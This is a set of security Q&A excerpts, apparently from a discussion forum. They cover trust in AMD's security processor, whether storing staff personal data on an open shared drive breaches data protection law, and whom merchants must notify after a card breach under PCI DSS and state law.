At least the AMD security processor does not provide a remote management API out of the box (as far as we know), unlike Intel ME. To turn it into a network-listening backdoor, OS software has to provide further modules, or maybe even compromise it.

However, as we've found, it is a black box with very little public research put into it. In cryptography a system gains trust after it is often analyzed and no vulnerabilities are found. Security by obscurity is not acceptable. Unfortunately no one holds security processors to Kerckhoffs's principle.


Personal Information available on shared network drive Does storing personal staff information (names, addresses, dates of birth) on a shared network drive that allows anonymous and unrestricted access to all staff present a violation of the 7th principle of the data protection act - "To keep information secure"? Or is there a presumption of trust in the organisation for users and as there is no public access, it could be considered technically secure?

The bigger question is if this violates the data protection laws of various jurisdictions (it does). From this perspective, you have not secured PII and it's a violation.

For instance, no one, NO ONE has any right to know how old I am. I do not want to be subject to discrimination, and my birthday is private information. If I found out that my employer posted that info internally, I would be calling up the meanest lawyer I knew.

No one needs to know this info except for HR, which means if it was posted, then is not being used for the purpose that it was collected.


To which entity merchants must report credit card breach? In the incident that a Marchand like Target or Home Depot, detects credit cards are breached, who they need to notify? Visa recommends informing the merchant bank, and/or Visa Incident Response Manager.

Here, it says: There may be circumstances where notification to individual by a third party is more appropriate. For example, in the event of a breach by a retail merchant of credit card information, the credit card issuer may be involved in providing the notice since the merchant may not have the necessary contact information.

Besides notifying the bank and credit card issuer, who the merchants must notify in the event of credit card data breach? Should they send notice directly to individuals?

As per the DSS, the merchant is required to notify the card brands:

  12.10.1.a Verify that the incident response plan includes:

  Roles, responsibilities, and communication strategies in the event of a compromise including notification of the payment brands, at a minimum

And the DSS recognizes that other notification requirements may be compelling (e.g., each merchant is subject to whatever notification laws apply to their jurisdiction):

  Analysis of legal requirements for reporting compromises (for example, California Bill 1386, which requires notification of affected
  consumers in the event of an actual or suspected compromise for any
  business with California residents in their database)

Needless to say, the jurisdiction question is a problem, given the viral nature of the more progressive state's laws, and the widespread customer base of many web merchants (including international, as your link suggests).

So: the merchant must notify the card brands, which in practice means they will notify their acquirer/processor and it will chain from there.  As to individuals?  DSS recognizes that may be necessary, but doesn't compel it.  Whether it makes sense for a merchant to notify individuals is a question that their public relations and legal teams usually tackle together.